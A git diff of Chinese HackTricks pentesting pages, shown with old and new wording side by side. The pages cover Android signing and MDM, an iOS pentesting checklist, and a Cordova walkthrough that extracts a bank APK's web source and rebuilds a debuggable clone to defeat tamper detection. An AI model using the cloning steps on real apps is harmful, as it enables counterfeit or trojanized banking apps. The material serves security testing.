### **应用签名**
|
||||
|
||||
* Android 要求在应用程序安装之前,**所有应用程序都必须使用证书进行数字签名**。Android 使用此证书来识别应用程序的作者。
|
||||
* 要在设备上运行应用程序,它必须经过签名。当应用程序安装到设备上时,**包管理器会验证**应用程序是否已使用 apk 文件中的证书正确签名。
|
||||
* 应用程序可以自签名,也可以通过 CA 进行签名。
|
||||
* 应用程序签名确保一个应用程序不能访问任何其他应用程序,除非通过明确定义的 IPC,并且它未经修改地传递到设备上。
|
||||
* Android 要求在安装之前,**所有应用都必须用证书进行数字签名**。Android 使用这个证书来识别应用的作者。
|
||||
* 要在设备上运行应用程序,它应该被签名。当应用程序安装到设备上时,**包管理器验证**是否已经使用 apk 文件中的证书正确签名。
|
||||
* 应用程序可以自签名,也可以通过 CA 签名。
|
||||
* 应用签名确保一个应用程序不能访问其他应用程序,除非通过定义良好的 IPC,并且确保它未经修改地传递到设备。
|
||||
|
||||
### **应用程序验证**
|
||||
### **应用验证**
|
||||
|
||||
* Android 4.2 及更高版本支持应用程序验证。用户可以选择启用“验证应用程序”,并在安装之前由应用程序验证器对应用程序进行评估。
|
||||
* 应用程序验证可以在用户尝试安装可能有害的应用程序时向用户发出警报;如果应用程序特别糟糕,它可以阻止安装。
|
||||
* Android 4.2 及更高版本支持应用验证。用户可以选择启用“验证应用程序”,并在安装之前由应用验证器评估应用程序。
|
||||
* 如果用户尝试安装可能有害的应用程序,应用验证可以提醒用户;如果应用程序特别糟糕,它可以阻止安装。
|
||||
|
||||
## 移动设备管理
|
||||
|
||||
MDM 或移动设备管理是用于在移动设备上**确保控制和安全要求**的软件套件。这些套件使用称为设备管理 API 的功能,并需要安装一个 Android 应用程序。
|
||||
MDM 或移动设备管理是用于**确保对移动设备的控制和安全要求**的软件套件。这些套件使用称为设备管理 API 的功能,并要求安装 Android 应用程序。
|
||||
|
||||
通常,MDM 解决方案执行诸如强制密码策略、强制加密存储和启用远程擦除设备数据等功能。
|
||||
通常,MDM 解决方案执行的功能包括强制执行密码策略、强制加密存储和启用远程擦除设备数据。
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便您可以更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到对您最重要的漏洞,以便更快修复。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术堆栈中找到问题,从 API 到网络应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -434,12 +447,15 @@ MDM 或移动设备管理是用于在移动设备上**确保控制和安全要
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或在 **Twitter** 上关注我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,56 +1,58 @@
|
|||
# Cordova 应用
|
||||
# Cordova 应用程序
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客攻击成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
从文章 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58) 中获取的信息。
|
||||
信息取自帖子 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)
|
||||
|
||||
## 基本信息
|
||||
|
||||
Apache Cordova 是一个流行的框架,允许你使用 JavaScript、HTML 和 CSS 创建混合应用(Android 和 iOS)。
|
||||
Apache Cordova 是一个流行的框架,允许您使用 **JavaScript、HTML 和 CSS** 创建 **混合应用程序**(Android 和 iOS)。
|
||||
|
||||
Cordova 的一个主要问题是它**没有默认的方法来保护**应用的**源代码**,不像 React Native。Cordova 应用的源代码没有默认的编译方法,这使得代码篡改变得容易。Cordova 应用使用 WebView 来渲染应用,使用 HTML 和 JS,即使将其编译为 APK 或 IPA,源代码仍然可以被公开访问,而 React Native 使用 JavaScript VM 来运行 JavaScript 代码。
|
||||
Cordova 的一个主要问题是它 **没有默认的方法来保护** 应用程序的 **源代码**,不像 react-native 那样。Cordova 应用程序没有默认的方法来编译它,这使得代码篡改变得 **容易**。Cordova 应用程序使用 WebView 来使用 HTML 和 JS 渲染应用程序,即使在编译成 APK 或 IPA 之后也会泄露源代码,而 react native 使用 JavaScript VM 来运行 JavaScript 代码。
|
||||
|
||||
### 克隆 Cordova 应用 <a href="#8f50" id="8f50"></a>
|
||||
### 克隆 Cordova 应用程序 <a href="#8f50" id="8f50"></a>
|
||||
|
||||
要创建一个 Cordova 应用,我们需要安装 NodeJS。除了 NodeJS,我们还需要安装其他一些东西来完成构建过程,如 Android SDK、Java JDK 和 Gradle。你可以参考[官方文档](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building)获取要求的列表。
|
||||
要创建 Cordova 应用程序,我们需要安装 NodeJS。除了 NodeJS,我们还需要安装其他一些东西来完成构建过程,如 Android SDK、Java JDK 和 Gradle。您可以按照[官方文档](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building)的要求列表进行操作。
|
||||
|
||||
在这个例子中,我们可以假设原始应用的名称是 `Bank.apk`,包名是 `com.android.bank`。
|
||||
以这个例子为例,我们可以假设原始应用程序的名称是 `Bank.apk`,包名是 `com.android.bank`
|
||||
|
||||
解压 `bank.apk` 并打开 `bank/assets/www` 文件夹。我们可以查看 Cordova 应用的**完整源代码**。所有的 HTML 和 JS 代码都可以用来创建应用的克隆。我们还可以在 `bank/res/xml/config.xml` 中找到应用的配置文件。
|
||||
解压 `bank.apk` 并打开 `bank/assets/www` 文件夹。我们可以查看 **Cordova 应用程序的完整源代码**。所有 HTML 和 JS 代码都可以用来创建应用程序的克隆。我们还可以在 `bank/res/xml/config.xml` 中找到应用程序的配置文件。
|
||||
|
||||
现在我们可以创建一个新的 Cordova 应用项目:
|
||||
现在我们可以创建一个新的 Cordova 应用程序项目:
|
||||
```bash
|
||||
npm install -g cordova@latest
|
||||
cordova create bank-new com.android.bank Bank
|
||||
cd bank-new
|
||||
```
|
||||
现在我们需要将`bank/assets/www`中的所有文件和文件夹复制到`bank-new/www`中。
|
||||
现在我们需要将所有文件和文件夹从 `bank/assets/www` 复制到 `bank-new/www`。
|
||||
|
||||
在复制源代码时,我们需要排除一些文件和文件夹,如`cordova_plugins.js,cordova.js,cordova-js-src/,plugins/`。我们可以复制所有文件和文件夹,但排除上述提到的文件和文件夹。
|
||||
当我们复制源代码时,我们需要排除一些文件和文件夹,如 `cordova_plugins.js, cordova.js, cordova-js-src/, plugins/`。我们可以复制所有文件和文件夹,不包括上述提到的。
|
||||
|
||||
在创建一个新的Cordova项目时,我们需要说明应用是用于Android还是iOS。由于我们正在克隆Android应用,我们需要为其添加一个Android平台。在Cordova中,我们有平台版本,每个版本都具有不同的功能和对Android API或Android版本的支持。
|
||||
当我们创建一个新的Cordova项目时,我们需要指明应用是为Android还是iOS。由于我们正在克隆Android应用,我们需要为其添加一个Android平台。在Cordova中,我们有平台版本,每个版本都有不同的特性和对Android API或Android版本的支持。
|
||||
|
||||
Android API和Cordova Android平台版本是不同的。您可以[查看](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/)平台版本的列表以及它们对Android API的支持。
|
||||
Android API和Cordova Android平台版本都是不同的。您可以[查看](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/)平台版本列表及其对Android API的支持。
|
||||
|
||||
要添加Cordova Android平台,我们需要找出应用程序最初使用的版本。如果您使用不同的版本,可能会遇到问题,因为我们正在使用相同的源代码来克隆应用程序。您可以打开`cordova.js`文件并搜索`PLATFORM_VERSION_BUILD_LABEL`以找到应用程序使用的版本。
|
||||
要添加Cordova Android平台,我们需要找出应用最初使用的是哪个版本。如果您使用不同的版本,您可能会遇到问题,因为我们正在使用相同的源代码来克隆应用。您可以打开 `cordova.js` 文件并搜索 `PLATFORM_VERSION_BUILD_LABEL` 来找到应用使用的版本。
|
||||
|
||||
\
|
||||
|
||||
现在我们已经添加了Android平台支持,我们可以添加应用程序使用的所有必需插件。在原始应用程序的`bank/assets/www/cordova_plugins.js`中,我们可以找到应用程序使用的所有插件的列表。我们需要逐个安装这些插件。在`cordova_plugins.js`文件中搜索`module.exports.metadata`。我们可以看到所有插件及其版本。
|
||||
现在我们已经添加了Android平台支持,我们可以添加应用所需的所有插件。在原始应用 `bank/assets/www/cordova_plugins.js` 中,我们可以找到应用使用的所有插件的列表。我们需要逐一安装这些插件。在 `cordova_plugins.js` 文件中搜索 `module.exports.metadata`。我们也可以看到所有插件及其版本。
|
||||
|
||||
<figure><img src="https://miro.medium.com/v2/resize:fit:1124/1*Hap3DmxS6-1apNj5RfpC3g.png" alt="Cordova Plugins" height="570" width="562"><figcaption><p>Cordova插件</p></figcaption></figure>
|
||||
<figure><img src="https://miro.medium.com/v2/resize:fit:1124/1*Hap3DmxS6-1apNj5RfpC3g.png" alt="Cordova Plugins" height="570" width="562"><figcaption><p>Cordva 插件</p></figcaption></figure>
|
||||
|
||||
我们需要使用以下命令逐个安装所有插件
|
||||
我们需要使用以下命令逐一安装所有插件
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||
|
@ -63,30 +65,32 @@ cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
编译应用程序之前,我们需要确保已经安装了所有的要求。
|
||||
要编译应用程序,我们需要确保已经安装了所有必需的条件。
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova requirements
|
||||
```
|
||||
一旦我们准备好所有的设置,我们就可以构建apk文件。
|
||||
一旦我们准备好所有设置,我们就可以构建apk。
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova build android — packageType=apk
|
||||
```
|
||||
上述的构建命令将创建一个启用调试方法的apk,这样我们就可以使用Google Chrome调试应用程序。在安装apk之前,请确保对apk进行签名。如果应用程序具有代码篡改检测,除非没有设置特定配置,否则将被绕过。
|
||||
上述构建命令将创建一个启用了调试方法的apk,这允许我们使用Google Chrome对应用程序进行调试。在安装apk之前,请确保对apk进行签名。如果应用程序具有代码篡改检测功能,除非没有设置特定配置,否则将被绕过。
|
||||
|
||||
### 自动化工具
|
||||
|
||||
[**MobSecco**](https://github.com/Anof-cyber/MobSecco):一个自动化克隆Android应用程序的完整过程的工具。
|
||||
[**MobSecco**](https://github.com/Anof-cyber/MobSecco):一个自动化克隆Android应用程序完整过程的工具。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,32 @@
|
|||
# iOS 渗透测试清单
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和自动化由全球**最先进**的社区工具提供支持的工作流程。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 渗透测试,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我在**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
其他支持 HackTricks 的方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
### 准备工作
|
||||
|
||||
* [ ] 阅读[**iOS 基础知识**](ios-pentesting/ios-basics.md)
|
||||
* [ ] 阅读[**iOS 测试环境**](ios-pentesting/ios-testing-environment.md)以准备你的环境
|
||||
* [ ] 阅读[**iOS 初始分析**](ios-pentesting/#initial-analysis)的所有部分,了解渗透测试 iOS 应用程序的常见操作
|
||||
* [ ] 阅读[**iOS 基础**](ios-pentesting/ios-basics.md)
|
||||
* [ ] 阅读[**iOS 测试环境**](ios-pentesting/ios-testing-environment.md)准备您的环境
|
||||
* [ ] 阅读[**iOS 初始分析**](ios-pentesting/#initial-analysis)的所有部分,学习渗透测试 iOS 应用程序的常见操作
|
||||
|
||||
### 数据存储
|
||||
|
||||
|
@ -34,95 +36,98 @@
|
|||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) 配置错误。
|
||||
* [ ] [**Realm 数据库**](ios-pentesting/#realm-databases)可以存储敏感信息。
|
||||
* [ ] [**Couchbase Lite 数据库**](ios-pentesting/#couchbase-lite-databases)可以存储敏感信息。
|
||||
* [ ] [**二进制 cookie**](ios-pentesting/#cookies)可以存储敏感信息。
|
||||
* [ ] [**缓存数据**](ios-pentesting/#cache)可以存储敏感信息。
|
||||
* [ ] [**自动快照**](ios-pentesting/#snapshots)可以保存视觉敏感信息。
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain)通常用于存储在转售手机时可能遗留的敏感信息。
|
||||
* [ ] 总结一下,只需**检查应用程序在文件系统中保存的敏感信息**。
|
||||
* [ ] [**二进制 cookies**](ios-pentesting/#cookies)可以存储敏感信息
|
||||
* [ ] [**缓存数据**](ios-pentesting/#cache)可以存储敏感信息
|
||||
* [ ] [**自动快照**](ios-pentesting/#snapshots)可以保存视觉敏感信息
|
||||
* [ ] [**钥匙串**](ios-pentesting/#keychain)通常用于存储可能在转售手机时遗留的敏感信息。
|
||||
* [ ] 总之,只需**检查应用程序在文件系统中保存的敏感信息**
|
||||
|
||||
### 键盘
|
||||
|
||||
* [ ] 应用程序是否[**允许使用自定义键盘**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] 检查敏感信息是否保存在[**键盘缓存文件**](ios-pentesting/#custom-keyboards-keyboard-cache)中。
|
||||
* [ ] 检查敏感信息是否保存在[**键盘缓存文件**](ios-pentesting/#custom-keyboards-keyboard-cache)中
|
||||
|
||||
### **日志**
|
||||
|
||||
* [ ] 检查是否[**记录了敏感信息**](ios-pentesting/#logs)。
|
||||
* [ ] 检查是否有[**敏感信息被记录**](ios-pentesting/#logs)
|
||||
|
||||
### 备份
|
||||
|
||||
* [ ] [**备份**](ios-pentesting/#backups)可用于访问保存在文件系统中的敏感信息(检查此清单的初始点)
|
||||
* [ ] 此外,[**备份**](ios-pentesting/#backups)可用于修改应用程序的某些配置,然后在手机上**恢复**备份,当**加载**修改后的配置时,可能会**绕过**一些(安全)**功能**。
|
||||
* [ ] [**备份**](ios-pentesting/#backups)可用于**访问**文件系统中保存的敏感信息(检查此清单的初始点)
|
||||
* [ ] 此外,[**备份**](ios-pentesting/#backups)可用于**修改应用程序的某些配置**,然后**恢复**备份到手机上,随着**修改后的配置**被**加载**,某些(安全)**功能**可能被**绕过**
|
||||
|
||||
### **应用程序内存**
|
||||
|
||||
* [ ] 检查[**应用程序的内存**](ios-pentesting/#testing-memory-for-sensitive-data)中是否存在敏感信息。
|
||||
* [ ] 检查[**应用程序的内存**](ios-pentesting/#testing-memory-for-sensitive-data)中是否有敏感信息
|
||||
|
||||
### **破解密码学**
|
||||
### **破解的加密**
|
||||
|
||||
* [ ] 检查是否可以找到用于密码学的[**密码**](ios-pentesting/#broken-cryptography)。
|
||||
* [ ] 检查是否使用[**已弃用/弱算法**](ios-pentesting/#broken-cryptography)发送/存储敏感数据。
|
||||
* [ ] [**钩子和监视密码学函数**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] 检查是否可以找到用于加密的[**密码**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] 检查是否使用了[**过时/弱算法**](ios-pentesting/#broken-cryptography)来发送/存储敏感数据
|
||||
* [ ] [**挂钩并监控加密功能**](ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **本地身份验证**
|
||||
### **本地认证**
|
||||
|
||||
* [ ] 如果应用程序使用了[**本地身份验证**](ios-pentesting/#local-authentication),应检查身份验证的工作方式。
|
||||
* [ ] 如果使用了[**本地身份验证框架**](ios-pentesting/#local-authentication-framework),可以轻松绕过。
|
||||
* [ ] 如果使用了[**可以动态绕过的函数**](ios-pentesting/#local-authentication-using-keychain),可以创建自定义的 Frida 脚本。
|
||||
### 通过IPC暴露敏感功能
|
||||
* [ ] 如果应用程序中使用了[**本地认证**](ios-pentesting/#local-authentication),您应该检查认证是如何工作的。
|
||||
* [ ] 如果它使用的是[**本地认证框架**](ios-pentesting/#local-authentication-framework),它可能很容易被绕过
|
||||
* [ ] 如果它使用的是可以动态绕过的[**功能**](ios-pentesting/#local-authentication-using-keychain),您可以创建一个自定义的 frida 脚本
|
||||
|
||||
* [**自定义URI处理程序/深度链接/自定义方案**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
### 通过 IPC 暴露敏感功能
|
||||
|
||||
* [**自定义 URI 处理程序 / 深层链接 / 自定义方案**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] 检查应用程序是否**注册了任何协议/方案**
|
||||
* [ ] 检查应用程序是否**注册使用**任何协议/方案
|
||||
* [ ] 检查应用程序是否**期望接收来自自定义方案的任何敏感信息**,这些信息可以被注册相同方案的另一个应用程序**拦截**
|
||||
* [ ] 检查应用程序是否**未检查和清理**通过自定义方案的用户输入,以及是否存在可以被利用的**漏洞**
|
||||
* [ ] 检查应用程序是否**公开了可以通过自定义方案从任何地方调用的敏感操作**
|
||||
* [ ] 检查应用程序是否**期望通过自定义方案接收任何类型的敏感信息**,这些信息可以被注册相同方案的另一个应用程序**截获**
|
||||
* [ ] 检查应用程序是否**没有检查和清理**通过自定义方案的用户输入,以及是否可以利用某些**漏洞**
|
||||
* [ ] 检查应用程序是否**通过自定义方案公开了任何敏感操作**,这些操作可以从任何地方调用
|
||||
* [**通用链接**](ios-pentesting/#universal-links)
|
||||
* [ ] 检查应用程序是否**注册了任何通用协议/方案**
|
||||
* [ ] 检查`apple-app-site-association`文件
|
||||
* [ ] 检查应用程序是否**未检查和清理**通过自定义方案的用户输入,以及是否存在可以被利用的**漏洞**
|
||||
* [ ] 检查应用程序是否**公开了可以通过自定义方案从任何地方调用的敏感操作**
|
||||
* [**UIActivity共享**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] 检查应用程序是否可以接收UIActivities,并且是否可以利用特制的活动来利用任何漏洞
|
||||
* [ ] 检查 `apple-app-site-association` 文件
|
||||
* [ ] 检查应用程序是否**没有检查和清理**通过自定义方案的用户输入,以及是否可以利用某些**漏洞**
|
||||
* [ ] 检查应用程序是否**通过自定义方案公开了任何敏感操作**,这些操作可以从任何地方调用
|
||||
* [**UIActivity 分享**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] 检查应用程序是否可以接收 UIActivities,以及是否可以利用特别制作的活动来利用任何漏洞
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] 检查应用程序是否**将任何内容复制到通用剪贴板**
|
||||
* [ ] 检查应用程序是否**使用通用剪贴板的数据进行任何操作**
|
||||
* [ ] 监视剪贴板,查看是否复制了任何**敏感数据**
|
||||
* [ ] 检查应用程序是否**使用通用剪贴板中的数据做任何事情**
|
||||
